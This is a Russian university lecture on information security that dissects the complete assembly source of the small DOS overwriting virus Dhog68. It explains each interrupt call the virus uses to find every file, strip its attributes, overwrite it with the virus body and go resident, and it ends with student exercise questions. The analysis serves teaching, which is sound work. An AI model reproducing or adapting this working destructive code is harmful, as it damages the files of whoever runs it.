Лекция 7. Чупа-Чупс жуём

**На прошлой Лекции был представлен текст Dhog68:**

seg000 segment byte public 'CODE'

assume cs:seg000

org 100h

assume es:nothing, ss:nothing, ds:seg000

public start

start proc near

mov ah,4Eh

mov dx,140h

int 21h

loc\_0\_107:

mov ah,43h

mov al,0

mov dx,9Eh

int 21h

mov ah,43h

mov al,1

mov dx,9Eh

mov cl,0

int 21h

mov ax,3D01h

mov dx,9Eh

int 21h

xchg ax,bx

mov ah,40h

mov cl,44h

nop

nop

mov dx,100h

int 21h

mov ah,3Eh

int 21h

mov ah,4Fh

int 21h

jnb loc\_0\_107

mov ah,31h

mov dx,7530h

int 21h

start endp

a\_MaskForVir db '\*.\*',0

seg000 ends

end start

**Были записаны команды:**

mov ah,4Eh

mov dx,140h

int 21h

И подчёркнуто, что они записаны здесь для того, чтобы после их трансляции, линковки и загрузки в оперативную память, они были бы расшифрованы процессором и заставили компьютер осуществить поиск первого файла, соответствующего так называемой маске. Снова листочки и пишем-рисуем ответы.

***ВОПРОС 7.1: ЧТО ЗА ЧИСЛО 140h – ОТКУДА ОНО БЕРЁТСЯ?***

Ранее было сказано, что:

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| ПРИ РАЗРАБОТКЕ АППАРАТА ПРЕРЫВАНИЙ в случае АППАРАТНЫХ ПРЕРЫВАНИЙ пацаны-девчонки c INTEL, а в случае ПРОГРАММНЫХ ПРЕРЫВАНИЙ дядьки-тётьки с Microsoft, ДОГОВОРИЛИСЬ, наряду с указанием в регистре AH номера функции, вызываемой обработчиком прерываний при его возникновении, КАКИМ ОБРАЗОМ ЭТОЙ ФУНКЦИИ БУДУТ ПЕРЕДАВАТЬСЯ ПАРАМЕТРЫ И ГДЕ ИСКАТЬ РЕЗУЛЬТАТ ИСПОЛНЕНИЯ ВЫЗЫВАЕМОЙ ФУНКЦИИ.  Соответственно, для того, чтобы превратиться в «осла, знающего дорогу, и стоить большего, чем прорицатель, бредущего наугад», НЕОБХОДИМО: ДУМАТЬ, УЧИТЬ, РИСОВАТЬ, КОПАТЬ!!!! А именно, лезть в dos.microsoft.com И ТЩАТЕЛЬНЫМ ОБРАЗОМ ИЗУЧАТЬ ФУНКЦИОНАЛ, ВХОДНЫЕ И ВЫХОДНЫЕ ПАРАМЕТРЫ КАЖДОЙ-КАЖДОЙ Функции, вызываемой обработчиком прерывания ПРИ ВОЗНИКНОВЕНИИ (Инициации) того или иного прерывания с тем или иным номером….  ***Функция 4eH: Найти 1-й совпадающий файл***  ***Вход***   * ***AH = 4EH*** * ***DS:DX = адрес строки ASCIIZ с именем файла (допускаются ? и \*)*** * ***CX = атрибут файла для сравнения***   **Выход**   * **AX = код ошибки если CF установлен** * **DTA = заполнена данными (если не было ошибки)**   **Описание: DS:DX указывает на строку ASCIIZ в форме: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они подразумеваются по умолчанию. Обобщенные символы \* и ? допускаются в имени файла и расширении. OS находит имя первого файла в оглавлении, которое совпадает с заданным именем и атрибутом, и помещает найденное имя и другую информацию в DTA, как показано ниже:**  **http://www.codenet.ru/np-includes/upload/2003/10/24/129487.gif**  Возникает вопрос. Что это за область DTA, и ГДЕ ФУНКЦИЯ 4Eh НАХОДИТ АДРЕС ЭТОЙ ОБЛАСТИ ПАМЯТИ.  **Вопрос 7.2. Что такое DTA. Какие три английских слова прячутся за буквами DTA. ГДЕ РАСПОЛАГАЕТСЯ ЭТА ОБЛАСТЬ.**  **Вопрос 7.3. Нарисовать побайтно, каким образом в области памяти DTA начиная с адреса 1Eh, будет располагаться имя первого найденного файла, если первым найденным файлом будет файл mrak.asm. НАРИСОВАТЬ НА ЛИСТОЧКАХ!!!!**  ***Вопрос 7.4. С помощью какой функции осуществляется ПОИСК СЛЕДУЮЩЕГО ЗА НАЙДЕННЫМ ФАЙЛА? КАКОВ КРИТЕРИЙ ОПРЕДЕЛЕНИЯ ПЕРВОГО ПОПАВШЕГОСЯ ФАЙЛА И ПОСЛЕДУЮЩИХ?***  ***В задаче про mrak, папу с мамой, каждый из Вас имел «текущий каталог». Записать, какой из файлов будет первым найденным и затем записать какие файлы будут следующими, указав их ПОЛНЫЕ ИМЕНА И ИМЕНА СОКРАЩЕННЫЕ, КАК ОНИ БУДУТ ХРАНИТЬСЯ В ОБЛАСТИ DTA.***  ***ЕСЛИ КТО-ТО НЕ ЗНАЕТ ДО СИХ ПОР, ГДЕ РАСПОЛАГАЕТСЯ DTA ПЕРЕХОДИМ К ИЗУЧЕНИЮ ТОГО, ЧТО НАЗЫВАЕТСЯ PSP:***  **Область Program Segment Prefix имеет строго определенную структуру и формируется операционной системой при ЗАГРУЗКЕ ИСПОЛНИМОГО ФАЙЛА В ОПЕРАТИВНУЮ ПАМЯТЬ!!! На следующем рисунке представлена эта структура:**  PROGRAM SEGMENT PREFIX   |  |  |  |  | | --- | --- | --- | --- | | offset | size | C O N T E N T S |  | | 0000h | 2 bytes | int 20h |  | | 0002h | 2 bytes | segment address, end of allocation block |  | | 0004h | 1 byte | reserved, normally 0 |  | | 0005h | 5 bytes | FAR call to MSDOS function dispatcher (int 21h) |  | | 000Ah | 4 bytes | previous termination handler interrupt vector (int 22h) |  | | 000Eh | 4 bytes | previous contents of ctrl-C interrupt vector (int 23h) |  | | 0012h | 4 bytes | prev. critical error handler interrupt vector (int 24h) |  | | 0016h | 22 bytes | reserved for DOS |  | |  | \* 2 bytes | (16) parent process' PSP |  | |  | \* 20 bytes | (18) "handle table" used for redirection of files |  | | ***002Ch*** | ***2 bytes*** | ***segment address of the program's environment block*** |  | | 002Eh | 34 bytes | reserved, DOS work area |  | |  | \* 4 bytes | (2E) stores the calling process's stack pointer when switching to DOS's internal stack. |  | |  |  | \* (32) DOS 3.x max open files |  | |  | \* 2 bytes | (3A) size of handle table |these functions are in here |  | |  | \* 4 bytes | (3C) handle table address |but reported addresses vary |  | | 0050h | 3 bytes | int 21h, RETF instruction |  | | 0053h | 2 bytes | reserved - unused? |  | | 0055h | 7 bytes | reserved, or FCB#1 extension |  | | 005Ch | 16 bytes | default unopened File Control Block #1 |  | | 006Ch | 16 bytes | default unopened FCB #2 (overlaid if FCB #1 opened) |  | | 0080h | 1 byte | parameter length (number of chars entered after filename) |  | | 0081h | ... | parameters |  | | ***00FFh*** | ***128 bytes*** | ***command tail and default Disk Transfer Area (DTA)*** |  | |
|  |

**В ЭТОЙ ТАБЛИЦЕ ЖЕЛТЕНЬКИМ ВЫДЕЛЕНО ТО, ЧТО ЯВЛЯЕТСЯ ВАЖНЫМ ДЛЯ КУРСА БИС. А именно:**

**1.ПО АДРЕСУ 2СH располагается АДРЕС ОБЛАСТИ, КОТОРАЯ НАЗЫВАЕТСЯ «*program's environment block” и название которой МЫ НЕ ПЕРЕВОДИМ, НО ДОЛЖНЫ ЗНАТЬ, ЧТО В ЭТОЙ ОБЛАСТИ ХРАНИТСЯ ИНФОРМАЦИЯ ОБ «ОКРУЖЕНИИ» ПРОГРАММЫ, ИМЕННО ТОЙ ПРОГРАММЫ, КОТОРАЯ В ДАННЫЙ МОМЕНТ СИДИТ В ОПЕРАТИВНОЙ ПАМЯТИ, ДЛЯ КОТОРОЙ (ПРОГРАММЫ) СФОРМИРОВАН СООТВЕТСТВУЮЩИЙ Program Segment Prefix, в котором (в PSP) начиная с адреса 2CH в двух байтах сидит адрес «Program’s environment block».***

***2. А DEFAULT DISK TRANSFER AREA (DTA) располагается в самом конце PSP.***

**Но к нашим баранам, точнее «боровам». Кстати, все правильно ответили на вопрос 10 из прошлой Лекции, почему HOG, почему D, и почему 68? Почему HOG – нужно было залезть в переводчик и увидеть, что HOG как глагол переводится «ЗАГРАБАСТАТЬ» и вспомнить описание алгоритма функционирования вируса, одним из шагов которого является как раз то, что ПРОГРАММА создаёт «дутый резидент», т.е. «ЗАГРАБАСТЫВАЕТ» всю память (или почти всю). Почему «D» - от слова «Digital», почему 68 – это РАЗМЕР СООТВЕТСТВУЮЩЕГО ИСПОЛНИМОГО ФАЙЛА ТИПА .com – НЕЛЬЗЯ ГОВОРИТЬ, ЧТО ЭТО РАЗМЕР ПРОГРАММЫ – РАЗМЕР ПРОГРАММЫ В ПАМЯТИ СОСТАВЛЯЕТ 256 + 68 байт = 324 байта, так как при загрузке исполнимого файла в память ВСЕГДА ДОБАВЛЯЕТСЯ PSP – в том числе при загрузке в память исполнимых модулей типа exe!!!!!!!!!!!!!!!!!!**

**ЖУЁМ ДАЛЬШЕ…**

Как становится понятным после зубрежки функции 4eh В ОБЛАСТЬ ПАМЯТИ DTA попадает ИНФОРМАЦИЯ О ПЕРВОМ НАЙДЕННОМ В ПАПКЕ ФАЙЛЕ, причём эта область памяти DTA находится в области памяти PSP и содержит такую информацию:

* 1. Атрибуты файла
  2. Время создания
  3. Дата создания
  4. Размер файла в байтах
  5. Сокращенное имя файла.

***То есть пункт первый алгоритма функционирования вируса разобран.*** Попробуем разбираться, что такое АТРИБУТЫ ФАЙЛА. Исходя из описания таблицы DTA следует, что под «атрибуты файла» ОТВОДИТСЯ ОДИН БАЙТ, А дядьки-тётьки ДОГОВОРИЛИСЬ, ЧТО В ЭТОМ ОДНОМ БАЙТЕ С ПОМОЩЬЮ НУЛЕЙ И ЕДИНИЧЕК В БИТАХ КОДИРУЮТСЯ РАЗЛИЧНЫЕ АТРИБУТЫ. Такие варианты кодировки следующие:

Если значение соответствующего бита установлено равным единичке, то договорились, что файл (каталог) ИМЕЕТ ТОТ ИЛИ ИНОЙ АТРИБУТ! А именно:

Биты:

0 - только читаемый файл

1 - скрытый файл  
2 - системный файл

3 - метка диска  
4 - каталог

5 - бит архивации  
  
  
**ВОПРОС 7.5: После выполнения функции 4Eh в области DTA, начиная с адреса +15h получено значение, равное 6. Что это за файл? Точнее, какие атрибуты имеет этот файл. Ответ дать на русском языке.**

**Второй пункт** алгоритма функционирования вируса предполагает «определение» - получение атрибутов файла, информация о котором хранится в области DTA. Сие определение осуществляется посредством применения всё того же int 21h – прерывания и с использованием функции 43h:

loc\_0\_107:

mov ah,43h

mov al,0

mov dx,9Eh

int 21h

**В связи с тем, что с помощью рассматриваемого примера, мы пытаемся очертить путь, по которому нужно пройти, чтобы ЧЕМУ-ТО НАУЧИТЬСЯ, СНОВА ДУМАЕМ, УЧИМ, РИСУЕМ и КОПАЕМ, используя информацию на официальных сайтах разработчиков систем:**

**Роем и находим ОПИСАНИЕ ФУНКЦИИ 43h:**

* [**Функция 43H: установить/опросить атрибут файла -- CHMOD**](http://www.codenet.ru/progr/dos/dos_0070.php)

***Fn 43H: установить/опросить атрибут файла -- CHMOD***

***Вход***

* ***AH = 43H***
* ***DS:DX = адрес строки ASCIIZ с именем файла***
* ***AL = код подфункции: 0 = извлечь текущий атрибут файла***
* ***AL = 1 = установить атрибут файла***
* ***CX = новый атрибут файла (для подфункции 01H)***

***Выход***

* ***AX = код ошибки если CF установлен***
* ***CX = текущий атрибут файла (для подфункции 00H)***

***ВОПРОС 7.6 : КАК ПОЛУЧАЕТСЯ 9Eh. Нарисовать.***

То есть в регистре СХ БУДЕТ находиться то, что называется АТРИБУТОМ ФАЙЛА. Копаем дальше, определяемся, что такое атрибут файла:

Биты:  
5 - бит архивации  
4 - каталог  
3 - метка диска  
2 - системный файл  
1 - скрытый файл  
0 - только читаемый файл.

То есть, если тот или иной бит установлен в значение равное единице, то это означает, что файл (каталог) имеет соответствующий атрибут!!!!

Таким образом, Пункт 2 алгоритма функционирования вируса РЕАЛИЗОВАН: Определены АТРИБУТЫ ОЧЕРЕДНОГО НАЙДЕННОГО ПО МАСКЕ ФАЙЛА. Эти атрибуты закодированы с помощью ноликов и единичек в регистре СХ!!! Соответствующее значение бита равное 1, говорит о том, что файл (каталог) имеет соответствующий атрибут.

**Следующий шаг № 3. «Сброс атрибутов» найденного на внешнем устройстве файла.**

**Реализуется с помощью следующих команд на языке записи алгоритмов ассемблер, каждая из которых соответствует ОДНОЙ МАШИННОЙ КОМАНДЕ:**

**mov ah,43h**

**mov al,1**

**mov dx,9Eh**

**mov cl,0**

**int 21h**

Снова используется ПРЕРЫВАНИЕ 21h И СНОВА ФУНКЦИЯ 43H

**Роем и находим ОПИСАНИЕ ФУНКЦИИ 43h:**

* [**Функция 43H: установить/опросить атрибут файла -- CHMOD**](http://www.codenet.ru/progr/dos/dos_0070.php)

***43H: установить/опросить атрибут файла -- CHMOD***

***Вход***

* ***AH = 43H***
* ***DS:DX = адрес строки ASCIIZ с именем файла***
* ***AL = код подфункции: 0 = извлечь текущий атрибут файла***
* ***AL = 1 = установить атрибут файла***
* ***CX = новый атрибут файла (для подфункции 01H)***

***Выход***

* ***AX = код ошибки если CF установлен***
* ***CX = текущий атрибут файла (для подфункции 00H)***

***Так как регистр СХ состоит из двух частей CH и CL, получается, что для файла, имя которого хранится по адресу 9Eh в области PSP, будет установлено, что этот файл НЕ ИМЕЕТ никаких АТРИБУТОВ – все значения соответствующих битов ОБНУЛЕНЫ!!! А с таким файлом можно делать ВСЁ ЧТО УГОДНО!!! Что и делается ДАЛЕЕ!!***

***Шаг 4.* Делается «открытие файла-жертвы» с получением так называемого «handle» файла. ОТКРЫТЬ ФАЙЛ - значит получить Pandle. (Шутка).**

**mov ax,3D01h**

**mov dx,9Eh**

**int 21h**

**Вопрос 7.7. Что такое Handle? Что значит «Открыть файл»?**

* [Функция 3dH: задать handle файла](http://www.codenet.ru/progr/dos/dos_0064.php)

Вход

* AH = 3dH
* DS:DX = адрес строки ASCIIZ с именем файла
* AL = режим открытия

Выход

* AX = код ошибки если CF установлен и handle файла, если нет ошибки.

Описание:

Адрес, определённый содержимым парой регистров (DS):(DX) указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0. Если диск и/или путь опущены, они принимаются по умолчанию.

* Файл должен существовать.
* Файл открывается в выбранном режиме доступа:
  + AL = 0 чтобы открыть для чтения
  + AL = 1 чтобы открыть для записи
  + AL = 2 чтобы открыть для чтения и записи
* Маркер текущей позиции файла чтения/записи устанавливается в 0.
* Handle должен быть сохранен для последующих операций

***Шаг 5.*** ***В файл-жертву записывается текст на машинном языке, представляющий собой «ВИРУС».***

ФУНКЦИЯ 40H: писать в файл с использованием Handle.

Вход

* AH = 40H
* BX = описатель файла
* DS:DX = адрес буфера, содержащего записываемые данные
* CX = число записываемых байт

Выход

* AX = код ошибки если CF установлен
* AL = число реально записанных байт
* Описание:

Определенное содержимым регистра СХ байт данных записывается в файл или на устройство, определяемым Handle, заданным в BX. данные берутся из буфера, адресуемого через DS:DX. данные записываются, начиная с текущей позиции указателя чтения/записи файла.

* [Функция 40H: писать в файл через описатель](http://www.codenet.ru/progr/dos/dos_0067.php)

xchg ax,bx

* mov ah,40h
* mov cl,44h
* nop
* nop
* mov dx,100h
* int 21h

***Вопрос 7.8. Что это за команда NOP? Для чего они здесь нужны? Что будет, если их убрать?***

ШАГ 6. **Освободить handle.**

[Функция 3eH: Закрыть описатель файла](http://www.codenet.ru/progr/dos/dos_0065.php)

3eH: Забыть про Handle.

Вход

* AH = 3eH
* BX = описатель файла

Выход

* AX = код ошибки если CF установлен

Описание:

BX содержит описатель файла (handle), возвращенный при открытии. файл, представленный этим описателем, закрывается, его буфера сбрасываются, и оглавление обновляется корректными размером, временем и датой.

***mov ah,3Eh***

***int 21h***

**ШАГ 7. Найти следующий совпадающий по маске файл.**

* [Функция 4fH: Найти следующий совпадающий файл](http://www.codenet.ru/progr/dos/dos_0082.php)

OS Fn 4fH: Найти следующий совпадающий файл

Вход

* AH = 4fH
* DS:DX = адрес данных, возвращенных предыдущей 4eH Найти 1-й файл

Выход

* AX = код ошибки если CF установлен
* DTA = заполнена данными

Описание:

DS:DX указывает на 2bH-байтовый буфер с информацией, возвращенной функцией 4eH Найти 1-й (либо DTA, либо буфер, скопированный из DTA).

***Вопрос 7.9. «…следующий совпадающий по маске файл» - «следующий» - это какой? Какие критерии «следующности»?***

***mov ah,4Fh***

***int 21h***

***jnb loc\_0\_107***

***Jump on not below.***

***Вопрос 7.10. Какая разница между командами JNB и JNL?***

***ДУТЫЙ РЕЗИДЕНТ!***

***mov ah,31h***

***mov dx,7530h***

***int 21h***

* [Функция 31H: завершиться и остаться резидентным -- KEEP](http://www.codenet.ru/progr/dos/dos_0052.php)

31H: завершиться и остаться резидентным

Вход

* AH = 31H
* AL = код выхода
* DX = объем памяти, оставляемой резидентной, в параграфах

Выход

* нет = (неприменим)

Описание:

выходит в родительский процесс, сохраняя код выхода в AL. код выхода можно получить через функцию 4dH Wait. Программная часть операционной системы устанавливает распределение памяти, как специфицировано в DX, и возвращает управление родительскому процессу, оставляя указанную память резидентной (число байт = DX \* 16). Эта функция перекрывает функцию INT 27H, которая не возвращает код выхода и неспособна установить резидентную программу, большую 64K.

**start endp**

**a\_MaskForVir db '\*.\*',0**

**seg000 ends**

**end start**

**Вопрос 7.11: Как известно, описание функции 31h следующее:**

**31h выходит в родительский процесс, сохраняя код выхода в AL.** Программная часть операционной системы **устанавливает распределение памяти, как определено в DX, и возвращает управление родительскому процессу, оставляя указанную память резидентной (число байт = DX \* 16).**

**Вопрос 7.11.1. Что является «родительским процессом» когда вирус функционирует – исполняется.**

**Вопрос 7.11.2. Что такое параграф и чему он равен?**